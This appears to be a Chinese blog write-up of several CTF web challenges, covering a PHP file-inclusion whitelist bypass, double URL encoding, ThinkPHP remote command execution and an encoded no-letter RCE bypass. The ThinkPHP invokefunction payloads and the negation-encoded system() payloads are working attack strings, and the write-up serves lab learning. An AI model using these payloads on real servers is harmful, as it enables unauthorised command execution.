4.26学习——web刷题

把攻防世界的web做了20道左右,挑了几道学到东西的题目记录一下

攻防世界warmup

进到环境中读取源代码发先有个提示:source.php,进去看看

php 复制代码
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

代码审计一下,发现一个hint.php进去看看提示了flag的位置,而且在下面发现了include函数,说明可能存在本地文件包含漏洞,而且这里知道了flag的位置,就可以尝试利用目录穿越的方法

攻防世界ics-06

这道题感觉非常灵活,首先根据题目的提示是在云数据管理中心看上去感觉信息很多,但是发现左边能互动的也就报表中心能点进去点进去发现有个查询的功能,而且头上有个id=1,感觉看到这个就是SQL注入走不动道了...但是一直在尝试是什么闭合的时候发现怎么尝试都没有用,去查询的时候发现上面的id值会变化,才发现这题的思路是对id的值进行爆破发现id=2333的时候有flag,这道题题目难度不大,关键是思路

攻防世界PHP2

进入环境看到没有给出代码,需要自己找注入点,扫一下后台发现了个index.php但是访问了还是跟这个界面一样,看到题目说是PHP2,就把2试到了5,还是没东西,后面区域看了wp才知道一般网页提供给用户游览的PHP文件是phps格式,用户一般不能通过web游览php文件,所以这里去访问index.phps才是正解代码审计,需要用get请求传入一个admin,但是中间会对传入的admin进行URL解码,所以需要先对admin进行两次URL来绕过(网页会自动进行一次URL解码,所以这里存在两次URL解码)这里还有一个坑,就是进行传参的时候要在index.php的地方传参,我的理解是index.phps文件只是读取的文件。但是能交互的还是要在php处实现

攻防世界php_rce

这题是考察了信息收集的能力进入环境之后发现就是这一段文字,我还在这个界面去找RCE注入的点,但是根本找不到一点,接着用御剑扫了一下,也是没有收获

后面看了一下wp。发现这个题的thinkphp不是白给的,这是一种php框架, 这题考察的就是对这种框架的注入

这道题目的思路很明确,就是让自己去找,这里找到了大佬的博客
thinkphp漏洞复现

根据博客的思路,网上找了一堆poc去试了一下,发现这个能用

php 复制代码
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls 

说明该网站存在命令执行漏洞,根据这种框架的特殊性,查找所有含flag的路径

php 复制代码
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag*"

cat一下

php 复制代码
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

[SWPUCTF 2021 新生赛]hardrce

打开环境代码审计一下,发现是无字母的RCE,观察黑名单发现没过滤~取反符号跟%,所以这题可以用取反绕过来做

构造ls

php 复制代码
?wllm=system('ls /');
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

发现了flag,接下来得到它

php 复制代码
?wllm=system('cat /flllllaaaaaaggggggg');
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

这题主要是复习了一下无字母的RCE绕过

相关推荐
lichuangcsdn几秒前
【springcloud学习(dalston.sr1)】Eureka服务端集群的搭建(含源代码)(二)
学习·spring cloud·eureka
名誉寒冰6 分钟前
RPC框架源码分析学习(二)
qt·学习·rpc
小杨升级打怪中7 分钟前
前端面经-webpack篇--定义、配置、构建流程、 Loader、Tree Shaking、懒加载与预加载、代码分割、 Plugin 机制
前端·webpack·node.js
每次的天空13 分钟前
Android第三次面试总结之网络篇补充
android·网络·面试
Yvonne爱编码21 分钟前
CSS- 4.4 固定定位(fixed)& 咖啡售卖官网实例
前端·css·html·状态模式·hbuilder
SuperherRo1 小时前
Web开发-JavaEE应用&SpringBoot栈&SnakeYaml反序列化链&JAR&WAR&构建打包
前端·java-ee·jar·反序列化·war·snakeyaml
大帅不是我1 小时前
Python多进程编程执行任务
java·前端·python
前端怎么个事1 小时前
框架的源码理解——V3中的ref和reactive
前端·javascript·vue.js
Ciito1 小时前
将 Element UI 表格元素导出为 Excel 文件(处理了多级表头和固定列导出的问题)
前端·vue.js·elementui·excel
不爱吃饭爱吃菜2 小时前
uniapp微信小程序一键授权登录
前端·javascript·vue.js·微信小程序·uni-app